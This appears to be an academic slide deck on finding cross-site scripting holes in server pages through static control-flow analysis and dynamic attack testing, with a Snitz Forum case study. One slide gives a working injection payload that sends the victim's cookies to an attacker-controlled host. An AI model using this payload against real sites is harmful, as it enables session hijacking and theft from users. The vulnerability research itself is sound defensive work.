Identifying Cross Site Scripting Vulnerabilities in Web Applications

P. Tramontana, A.R. Fasolino
Dipartimento di Informatica e Sistemistica
University of Naples Federico II, Italy

G.A. Di Lucca
RCOST – Research Centre on Software Technology
University of Sannio, Benevento, Italy

M. Mastroianni
Second University of Naples, Italy
The problem of Internet security and privacy

- Security and privacy are fundamental requirements for Web Applications
- 75% of the malicious attacks on the Web occur at the application level (Gartner Group)
- As more complex and automated Web Applications arise so does the probability of creating security loopholes.
The problem of Internet security and privacy

- Security and privacy are usually guaranteed by:
  - specific security systems (such as firewalls, or Intrusion Detection Systems) and software (such as antivirus or encryption software)
  - organisational changes to business processes finalised to improve security

- But developers do not build security into their applications, based upon the false assumption that another area of security will cover it
Cross Site Scripting (XSS)

Cross-Site Scripting attack:
A client executes a page containing script code that has been injected from other sources

How can a malicious user perform a Cross Site Scripting attack?
First scenario

- Web Application implementing a Guestbook
- Malicious user inserting a message, containing script code
- The script code is stored into the database
- A victim open the Message page
- Since no checks are performed, the script code is sent to the browser as a message
- The browser executes the malicious script code
Second scenario

- A Simple Search form
- The victim unconsciously execute a link containing a malicious script code
- Simple Search server page write an error message...
- ... but this error message contains the script code, that is executed by the browser
Key factors of XSS vulnerability

- the exploits are very simple to carry out, and no particular application knowledge or skill are required;

- the attacks may bypass perimeter defences (e.g. Firewalls), cryptography, digital signatures and site trusting;

- it may be very difficult for the victim to know which web application allowed the XSS attack;

- it may be very difficult for the developer to know which element of the web application allowed the XSS attack;

- evolution of hypertextual language characteristics and browser capabilities may make it possible new attack strategies and make vulnerable a web application which was considered invulnerable.
Possible solutions

- To disable scripting language interpretation in browsers

- To install of a software proxy which intercepts malicious strings in input and/or output (Scott and Sharp, 2002)

- To introduce an input validation function immediately after every input statement contained in a Web page

  - To adopt this solution detection of vulnerabilities in source server script code is needed
Detection and assessment of XSS vulnerabilities

Static and dynamic analysis of server pages are combined to detect and assess XSS vulnerabilities:

- Static analysis detects vulnerable pages and potentially vulnerable pages
- Dynamic analysis consists in the execution of a set of test cases reproducing XSS attacks
A server page will be potentially XSS vulnerable if there are a variable \(v\) and two Input(\(v\)) and Output(\(v\)) nodes that are connected by a path on the CFG.
A server page will be vulnerable if there are a variable $v$, and two Input($v$) and Output($v$) nodes, such that all the paths on the CFG leaving the Input($v$) node reach the Output($v$) node, being def-clear with respect to $v$.

```jsp
<%  
'Read Message from input form
Message=request.form("txtMessage")
... open DB connection ...
rs.open "Guestbook",conn,1,2,2
'Store Message into the DB
rs.Addnew
rs("Message")=Message
rs.update
%>
```
Invulnerability of a server pages

- A server page including an input data item that does not affect any output will be certainly invulnerable with respect to that input.

```vbnet
<%'
\>"Read Message from input form
1  Message=request.form("txtMessage")
   \. . . open DB connection . . .
5  rs.open "Guestbook",conn,1,2,2
   \ 'Store a constant string into the DB
6  rs.Addnew
7  rs("Message")="One message received"
8  rs.update
nF  %>
```
Vulnerability conditions

Vulnerability predicates:
- $A(v)$: There exists a path on the CFG between I and O nodes.
- $B(v)$: The O node postdominates I node.
- $C(v)$: Each path between I node and O node is a def-clear-path
  (obviously, $B(v) \Rightarrow A(v)$ and $C(v) \Rightarrow A(v)$)

Vulnerability conditions:
- $PV)$ $\exists v \in P: A(v) \Rightarrow P$ is potentially vulnerable with respect to $v$ $\Rightarrow$ P is potentially vulnerable
- $V)$ $\exists v \in P: B(v) \text{ AND } C(v) \Rightarrow P$ is vulnerable with respect to $v$ $\Rightarrow$ P is vulnerable
- $NV)$ $\exists v \in P: \neg A(v) \Rightarrow P$ is not vulnerable with respect to $v$
Examples (1)

```<%
'Read Message from input form
Message=request.form("txtMessage")
'Check for string “script” in Message
if instr(1,Message,"script")>0 then
  response.write("Forbidden")
else
  ... open DB connection ...
  rs.open "Guestbook",conn,1,2,2
  'Store Message into the DB
  rs.Addnew
  rs("Message")=Message
  rs.update
end if
%>
```

The server page is potentially vulnerable with respect to the variable `Message`
The server page is vulnerable with respect to the variable \textit{Message}.

\begin{verbatim}
<% 'Read Message from input form
    Message=request.form("txtMessage")
    . . . open DB connection . . .
    rs.open "Guestbook",conn,1,2,2
    'Store Message into the DB
    rs.Addnew
    rs("Message")=Message
    rs.update%>
\end{verbatim}
Examples (3)

```
<% 
'Read Message from input form
Message=request.form("txtMessage")
... open DB connection ...
rs.open "Guestbook",conn,1,2,2
'Store a constant string into the DB
rs.Addnew
rs("Message")="One message received"
rs.update
%>
```

Predicate values

<table>
<thead>
<tr>
<th>Predicate values</th>
<th>Condition</th>
<th>Input variable</th>
</tr>
</thead>
<tbody>
<tr>
<td>A B C V P NV</td>
<td></td>
<td>Message</td>
</tr>
<tr>
<td>F F F F F</td>
<td>T</td>
<td>Message</td>
</tr>
</tbody>
</table>
Static analysis

1. Identify the input and output nodes of the CFG of the page P;
2. Identify all paths leaving the input nodes on the CFG;
3. For each path leaving an input node and reaching an output node, verify if the path is def-clear with respect to v;
4. Evaluates A, B, and C predicates’ values with respect to v;
5. Evaluate the vulnerability of page P, by the PV, NV, and V conditions.

With reference to the second step of this process, in order to cope with the complexity of identifying all paths leaving the input nodes on the CFG, the analysis can be limited to a set of linearly independent paths extracted from the CFG.
Dynamic analysis

- The presence of a vulnerable page doesn’t imply that a XSS attack can be performed. To assess if a Web Application is actually vulnerable to XSS attacks, dynamic analysis may be performed.

- A vulnerability should be corrected and eliminated by the developer. The semantic of the source code of pages containing potential vulnerability should be analysed by the developer.

- A testing strategy involving the execution of a set of attack test cases must be followed.
Testing strategy (second scenario)

FOR EACH vulnerable or potentially vulnerable page P of the Web Application
FOR EACH input field I of page P causing vulnerability
    Define a set S of XSS attack strings
    FOR EACH s ∈ S
        EXECUTE server page P with input field I=s
        Check for attack consequences
Testing strategy (first scenario)

FOR EACH vulnerable or potentially vulnerable page P of the Web Application
FOR EACH input field I of page P causing vulnerability
   Define a set S of XSS attack strings
FOR EACH s ∈ S
   EXECUTE server page P with input field I= s
   FOR EACH test case T from the test suite
      EXECUTE test case T
      Check for attack consequences
Case study

- Real world open source Web Applications implemented in PHP and ASP has been analysed
- An example: Snitz Forum, version 3.4.03 ([http://forum.snitz.com](http://forum.snitz.com))
- Vulnerability situations has been detected using static analysis
- A vulnerability to XSS attacks of the second type has been confirmed by dynamic analysis
An example

An example of vulnerability is contained in the following source code:

```html
Response.Write "<input type=""text"" name=""Search"
size=""40"" value="""" & Request.QueryString("Search") & """>" & vbNewLine
```

This line of search.asp page contains a vulnerability: the value of an input variable (Search) will be sent to the client browser with no checks. The following test case perform a XSS attack redirecting Client Cookie values to a page of attacker’s server:

```
""><script>location.URL='http://www.attackersite.com/attacker.cgi?' + document.cookie) </script>
```
An example

This vulnerability is also reported by Bugtraq web sites ([http://www.securityfocus.com](http://www.securityfocus.com), [http://msgs.securepoint.com/bugtraq/](http://msgs.securepoint.com/bugtraq/)) and it has been corrected in the next version (3.4.04) of the forum

Response.Write "" '<td bgColor="" & strPopUpTableColor & "" align=""left"" valign=""middle""> <input type=""text"" name=""Search"" size=""40"" value="""" & trim(ChkString(Request.QueryString("Search"),"display")) & """>"" & vbNewLine & _
Conclusions

- A WA should be intrinsically secure, by adopting secure programming practices, in order to preserve its invulnerability as the execution environment changes.

- This paper proposed an approach for assessing the XSS vulnerability of an existing WA based on static and dynamic analysis of source code: Static analysis criteria have been defined to individuate vulnerable Web pages, while dynamic analysis strategies have been proposed to test the actual vulnerability of the Web Application including the vulnerable pages.
Future works

- To support static analysis with automatic tools
- To integrate dynamic analysis with test case execution tools
- To assess the effectiveness of the approach with a wider set of applications